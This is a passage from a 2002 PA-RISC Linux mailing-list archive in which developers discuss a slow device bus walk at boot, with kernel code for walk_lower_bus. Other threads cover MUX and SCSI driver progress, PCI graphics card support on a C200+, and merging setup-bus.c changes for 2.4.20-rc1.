> However, I think the ultimate destination is to see how much of the bus 
> specific stuff we can abstract by throwing an API around it.  I think IRQ, 
> port and mmio are feasible.  Specific knowledge of bus posting et al may not 
> be.

I was thinking how many BARs are present/used is PCI specific.

arch code already handles most of the IRQ fixups anyway and it
doesn't really matter where IRQ info is stored as long as the
device driver knows where to find it.

> > Duck! (that's going to get fixed it seems) ;^) 
> 
> I thought the 53c700 was working OK?

sorry - "going to get fixed" meant we are looking for a C180
or similar machine to send you.

thanks!
grant


From - Thu Nov 08 21:25:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LONG pause on boot
Date: Wed, 13 Nov 2002 14:46:13 -0700
Lines: 45
Approved: news@gmane.org
Message-ID: <20021113214613.GA32441@beavis.ybsoft.com>
References: <Pine.LNX.4.44.0211131022210.26859-100000@wolf.alaskatech> <20021113193018.P30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621928 16940 80.91.229.3 (22 Nov 2014 02:05:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:28 +0000 (UTC)
Cc: Tom <palinux@alaskatech.org>,
	PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 14:46:20 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id E94B94829
	for <parisc-linux@parisc-linux.org>; Wed, 13 Nov 2002 14:46:19 -0700 (MST)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 335DB2B101; Wed, 13 Nov 2002 14:46:13 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20021113193018.P30392@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16800

On Wed, Nov 13, 2002 at 07:30:18PM +0000, Matthew Wilcox wrote:
> On Wed, Nov 13, 2002 at 10:26:43AM -0900, Tom wrote:
> > Does anyone have an idea as to why such a long delay would occur there?
> > PDC has console to serial_1, which had a terminal on it. There was no
> > errors or complaints anywhere in the boot process, and none visible during
> > the kernel compile. I can provide System.map, config file, etc. if
> > desired...
> 
> Yes, it's during device walk.  The support for E class that rbrad wrote
> means that every machine with a CCIO suffers.  I suspect this'll get
> fixed fairly soon.

Willy, I have an idea on how to fix this, but it is ugly ... but I will probably
consider committing it soon unless you have a cleaner idea (hint, hint :))

The problem is with E-Class ... the devices are at the end of the bus range.  We
need to walk the entire bus until we find the range the drivers exist in.  On
systems where the devices are at the end (or no devices in that range) the entire
bus needs to be walked.... this is the delay you are seeing.

I have a proposal to speed up systems where the devices are at the end of the
bus ... we can simply walk the first bus range, then the last bus range, if
nothing found yet ... walk the middle.

I do not have a solution for a bus with no devices present yet ...

Thanks,

- Ryan





> 
> -- 
> Revolutions do not require corporate support.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 


From - Thu Nov 08 21:25:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbrad@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ? New status of MUX or SCSI driver on E-series (and other...)
Date: Wed, 13 Nov 2002 14:54:11 -0700
Lines: 56
Approved: news@gmane.org
Message-ID: <20021113215411.GB32441@beavis.ybsoft.com>
References: <3DD2C4E5.7000001@gmx.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621928 16941 80.91.229.3 (22 Nov 2014 02:05:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:28 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
To: Christoph Plattner <christoph.plattner@gmx.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 14:54:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (bradetich.net [209.161.7.161])
	by dsl2.external.hp.com (Postfix) with ESMTP id DBE124829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 14:54:15 -0700 (MST)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 6C8202B101; Wed, 13 Nov 2002 14:54:11 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <3DD2C4E5.7000001@gmx.at>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16801

Hello Christoph,


On Wed, Nov 13, 2002 at 10:32:21PM +0100, Christoph Plattner wrote:
> After such long time, I want to ask, if there any news?
> 
> Where there experiences (with logic analysator, etc...), if the
> SCSI chip is accessed ?

On the todo list ... still no forward progress yet :(

> Are there any news in accessing another port then port "0" on the
> MUX. My experiments using "only" port "1" was also not successful,
> the machine blocks !

The mux has been ported to linux-2.5, the major number 11 was assigned,
and linus accepted it into his tree.  Last night I found the problem
that caused the init failure with the mux so the mux boots again
on 2.5.47.  The forward port is more flexible and is better designed 
to handle handle multiple muxes and the access to the ports.  I am
working with robbie to test the multiple mux cards now, and plan to
test the multiple ports here shortly (need to find my cables first.)


On a side note, I have also port-forwarded the pdc_console to the 
linux-2.5 tree and will finish testing it here shortly.  I will send 
you the updated pdc_console to review before I commit it.

> Perhaps the PDC ROM setup influences the MUX device.

Not sure ... planning on testing shortly  (this weekend possibly)

Thanks,

- Ryan


> Answer is welcome.
> Christoph
> 
> 
> 
> 
> -- 
> -------------------------------------------------------
> private:	christoph.plattner@gmx.at
> company:	christoph.plattner@alcatel.at
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> 

-- 


From - Thu Nov 08 21:25:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LONG pause on boot
Date: Wed, 13 Nov 2002 22:44:43 +0000
Lines: 75
Approved: news@gmane.org
Message-ID: <20021113224443.R30392@parcelfarce.linux.theplanet.co.uk>
References: <Pine.LNX.4.44.0211131022210.26859-100000@wolf.alaskatech> <20021113193018.P30392@parcelfarce.linux.theplanet.co.uk> <20021113214613.GA32441@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621928 16945 80.91.229.3 (22 Nov 2014 02:05:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:28 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, Tom <palinux@alaskatech.org>,
	PA-RISC Linux List <parisc-linux@parisc-linux.org>
To: Ryan Bradetich <rbrad@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 15:44:49 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8C2C24829
	for <parisc-linux@parisc-linux.org>; Wed, 13 Nov 2002 15:44:48 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18C6FY-0007ze-00; Wed, 13 Nov 2002 22:44:44 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <20021113214613.GA32441@beavis.ybsoft.com>; from rbrad@uswest.net on Wed, Nov 13, 2002 at 02:46:13PM -0700
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16802

On Wed, Nov 13, 2002 at 02:46:13PM -0700, Ryan Bradetich wrote:
> Willy, I have an idea on how to fix this, but it is ugly ... but I will probably
> consider committing it soon unless you have a cleaner idea (hint, hint :))

Well.  I have an idea, but it's even uglier than yours ;-)  It doesn't suffer
from the same problem, so I'll describe it...

> I have a proposal to speed up systems where the devices are at the end of the
> bus ... we can simply walk the first bus range, then the last bus range, if
> nothing found yet ... walk the middle.

here's the current code:

#define READ_IO_IO_LOW(dev) \
        (dev->id.hw_type == HPHW_IOA ? \
                __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_i
o_low) << 16 : \
                __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_i
o_low))

#define READ_IO_IO_HIGH(dev) \
        (dev->id.hw_type == HPHW_IOA ? \
                __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_i
o_high) << 16 : \
                __raw_readl((unsigned long)&((struct bc_module *)dev->hpa)->io_i
o_high))


static void walk_native_bus(unsigned long io_io_low, unsigned long io_io_high, 
                            struct parisc_device *parent);

#define FLEX_MASK (unsigned long)0xfffffffffffc0000

void walk_lower_bus(struct parisc_device *dev)
{
        unsigned long io_io_low, io_io_high;

        if(!BUS_CONVERTER(dev) || IS_LOWER_PORT(dev))
                return;

        io_io_low = ((unsigned long)(signed int)READ_IO_IO_LOW(dev) + ~FLEX_MASK
) & FLEX_MASK;
        io_io_high = ((unsigned long)(signed int)READ_IO_IO_HIGH(dev) + ~FLEX_MA
SK) & FLEX_MASK;

        walk_native_bus(io_io_low, io_io_high, dev);
}

My proposal...

#define IO_IO_LOW	offsetof(struct bc_module, io_io_low)
#define IO_IO_HIGH	offsetof(struct bc_module, io_io_high)
#define READ_IO_IO_LOW(dev) __raw_readl(dev->hpa + IO_IO_LOW)
#define READ_IO_IO_HIGH(dev) __raw_readl(dev->hpa + IO_IO_HIGH)

void walk_lower_bus(struct parisc_device *dev)
{
	unsigned long io_io_low, io_io_high;

	if (!BUS_CONVERTER(dev) || IS_LOWER_PORT(dev))
		return;

	if (dev->id.hw_type == HPHW_IOA) {
		io_io_low = (unsigned long)(signed int)(READ_IO_IO_LOW(dev) << 16);
		io_io_high = io_io_low + MAX_NATIVE_DEVICES * NATIVE_DEVICE_OFFSET;
	} else {
		io_io_low = (READ_IO_IO_LOW(dev) + ~FLEX_MASK) & FLEX_MASK;
		io_io_high = (READ_IO_IO_HIGH(dev)+ ~FLEX_MASK) & FLEX_MASK;
	}
	walk_native_bus(io_io_low, io_io_high, dev);
}

-- 
Revolutions do not require corporate support.


From - Thu Nov 08 21:25:28 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Hans-Gran Gustavsson <hgn98009@student.mdh.se>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Graphic card for my C200+
Date: Wed, 13 Nov 2002 23:51:26 +0100 (MET)
Lines: 8
Approved: news@gmane.org
Message-ID: <1037227886.3dd2d76ec99d9@student.mdh.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621929 16947 80.91.229.3 (22 Nov 2014 02:05:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 15:51:32 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tomteboda.mdh.se (tomteboda.mdh.se [130.243.76.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 79CED4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 15:51:31 -0700 (MST)
Original-Received: (from nobody@localhost)
	by tomteboda.mdh.se (8.11.5/8.11.5) id gADMpQ511156
	for parisc-linux@lists.parisc-linux.org; Wed, 13 Nov 2002 23:51:26 +0100 (MET)
X-Authentication-Warning: tomteboda.mdh.se: nobody set sender to hgn98009@student.mdh.se using -f
User-Agent: IMP/PHP IMAP webmail program 2.2.6
X-Originating-IP: 81.16.165.54
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16803

I wonder if anyone has any suggestions for pci graphics cards that are
likely to make X work in my C200+. The one I have at the moment is a
Visualize fx2 which I understand won't be supported in the nearest future. I
have also read some mails about PC cards that might or might not work.
Should I try to make a swap with someone using hpux with a simpler graphic
or what? I really would like to see a list of graphics working on different
machines. Maybe there is one that I just missed.


From - Thu Nov 08 21:25:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Graphic card for my C200+
Date: Wed, 13 Nov 2002 18:38:46 -0800 (PST)
Lines: 31
Approved: news@gmane.org
Message-ID: <20021114023846.97818.qmail@web12507.mail.yahoo.com>
References: <1037227886.3dd2d76ec99d9@student.mdh.se>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621929 16948 80.91.229.3 (22 Nov 2014 02:05:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:29 +0000 (UTC)
To: "Hans-Gran" Gustavsson <hgn98009@student.mdh.se>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Nov 13 19:38:51 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12507.mail.yahoo.com (web12507.mail.yahoo.com [216.136.173.199])
	by dsl2.external.hp.com (Postfix) with SMTP id EA69D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 13 Nov 2002 19:38:50 -0700 (MST)
Original-Received: from [156.153.255.134] by web12507.mail.yahoo.com via HTTP; Wed, 13 Nov 2002 18:38:46 PST
In-Reply-To: <1037227886.3dd2d76ec99d9@student.mdh.se>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16804

As far as I know the only card that had proven to fully work is the EG
graphics card an A4450A and or an A4451A (Dual output) I believe. 
There are some toying with a Voodoo2 type of solution, but it doesn't
quite work yet.

derek

--- Hans-Gran Gustavsson <hgn98009@student.mdh.se> wrote:
> I wonder if anyone has any suggestions for pci graphics cards that
> are
> likely to make X work in my C200+. The one I have at the moment is a
> Visualize fx2 which I understand won't be supported in the nearest
> future. I
> have also read some mails about PC cards that might or might not
> work.
> Should I try to make a swap with someone using hpux with a simpler
> graphic
> or what? I really would like to see a list of graphics working on
> different
> machines. Maybe there is one that I just missed.
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


__________________________________________________
Do you Yahoo!?
Yahoo! Web Hosting - Let the expert host your site
http://webhosting.yahoo.com


From - Thu Nov 08 21:25:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@dsl2.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 2.4.20-rc1
Date: Thu, 14 Nov 2002 00:15:42 -0700
Lines: 35
Approved: news@gmane.org
Message-ID: <20021114071542.2CF81482B@dsl2.external.hp.com>
References: <20021113153217.J30392@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416621929 16953 80.91.229.3 (22 Nov 2014 02:05:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 00:15:42 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from dsl2.external.hp.com (localhost [127.0.0.1])
	by dsl2.external.hp.com (Postfix) with ESMTP
	id 2CF81482B; Thu, 14 Nov 2002 00:15:42 -0700 (MST)
In-Reply-To: Message from Matthew Wilcox <willy@debian.org> 
   of "Wed, 13 Nov 2002 15:32:17 GMT." <20021113153217.J30392@parcelfarce.linux.theplanet.co.uk> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16805

Matthew Wilcox wrote:
> (1) drivers/pci/setup-bus.c.  It looks like most of, but not all, the
> changes in our tree were merged into 2.5.20-rc1.  I've basically taken
> the version we had in 2.4.19 but other changes may be needed.  Grant,
> can you look at this?

I was re-reading this a few times and assumed you meant 2.4.20-rc1.
I'm looking at "cvs diff -r LINUS_2420RC1 drivers/pci/setup-bus.c" output.

The primary difference is for bridge_ctl field. rmk posted the
bridge_ctl patch for 2.5 and it makes managing VGA, FBB, PERR,
SERR bits in cmd register possible per arch.
I'd like to keep this in our tree since we want SERR/PERR *on*
and PC folks in general don't. And parisc really doesn't want
anything to do with VGA stuff...I don't see any reason why this
change doesn't go back to marcello.

The second significant difference is pbus_assign_resources_sorted()
wants to disable all devices while assigning resources. Not a good
thing for our console. I trust PDC to assign sane values to all devices
whether or not all devices are initially configured or enabled.
We don't have to worry about overlapped MMIO ranges or such crap
during later resource assignments.

*sigh* I see "ifndef __hppa__" here (should be CONFIG_PARISC).

We can adopt changes in pci_bridge_check_ranges(), pbus_size_io(),
and pbus_size_mem(). You want to do those or should I?

Anyone, once this is "cleaner", I think ivan/rmk/~r/helgaas probably
want to review the bridge_ctl diff before you submit to marcello.

hth,
grant


From - Thu Nov 08 21:25:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Graphic card for my C200+
Date: Thu, 14 Nov 2002 09:45:55 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <200211140945.55164.deller@gmx.de>
References: <20021114023846.97818.qmail@web12507.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621930 16956 80.91.229.3 (22 Nov 2014 02:05:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:30 +0000 (UTC)
To: Derek Engelhaupt <derekengelhaupt@rocketmail.com>,
	"=?iso-8859-1?q?Hans-G=F6ran?=" Gustavsson <hgn98009@student.mdh.se>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 01:46:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by dsl2.external.hp.com (Postfix) with SMTP id 1BBCD482B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 01:46:03 -0700 (MST)
Original-Received: (qmail 1277 invoked by uid 0); 14 Nov 2002 08:45:57 -0000
Original-Received: from pd9040d25.dip.t-dialin.net (HELO P100.helgenet.de) (217.4.13.37)
  by mail.gmx.net (mp020-rz3) with SMTP; 14 Nov 2002 08:45:57 -0000
User-Agent: KMail/1.5
In-Reply-To: <20021114023846.97818.qmail@web12507.mail.yahoo.com>
Content-Disposition: inline
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:16806

Voodoo2 works quite well too, but you'll only get a display with a 
maximum resolution of 800x600x16bpp.

Helge

On Thursday 14 November 2002 03:38, Derek Engelhaupt wrote:
> As far as I know the only card that had proven to fully work is the EG
> graphics card an A4450A and or an A4451A (Dual output) I believe.
> There are some toying with a Voodoo2 type of solution, but it doesn't
> quite work yet.
>
> derek
>
> --- Hans-Gran Gustavsson <hgn98009@student.mdh.se> wrote:
> > I wonder if anyone has any suggestions for pci graphics cards that
> > are
> > likely to make X work in my C200+. The one I have at the moment is a
> > Visualize fx2 which I understand won't be supported in the nearest
> > future. I
> > have also read some mails about PC cards that might or might not
> > work.
> > Should I try to make a swap with someone using hpux with a simpler
> > graphic
> > or what? I really would like to see a list of graphics working on
> > different
> > machines. Maybe there is one that I just missed.
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
>
> __________________________________________________
> Do you Yahoo!?
> Yahoo! Web Hosting - Let the expert host your site
> http://webhosting.yahoo.com
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:25:29 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: phi <phi@hpfrcu81.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] .PARISC.unwind where is it for pa2.0w?
Date: Thu, 14 Nov 2002 14:30:23 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <3DD3A56F.665A0FB4@hpfrcu81.france.hp.com>
References: <3DD2C4E5.7000001@gmx.at> <20021113215411.GB32441@beavis.ybsoft.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621930 16962 80.91.229.3 (22 Nov 2014 02:05:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:05:30 +0000 (UTC)
Cc: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Nov 14 06:28:44 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id 896A3482E
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 06:28:43 -0700 (MST)
Original-Received: from iws1pb05.france.hp.com (unknown [15.124.72.14])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 3AC106E3
	for <parisc-linux@lists.parisc-linux.org>; Thu, 14 Nov 2002 14:28:34 +0100 (MET)
Original-Received: from hpfrcu81.france.hp.com (localhost [127.0.0.1]) by iws1pb05.france.hp.com with ESMTP (8.8.6 (PHNE_17190)/8.7.3 SMKit7.01) id OAA01320; Thu, 14 Nov 2002 14:30:23 +0100 (MET)
X-Mailer: Mozilla 4.75 [en] (X11; U; HP-UX B.11.00 9000/785)
X-Accept-Language: en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
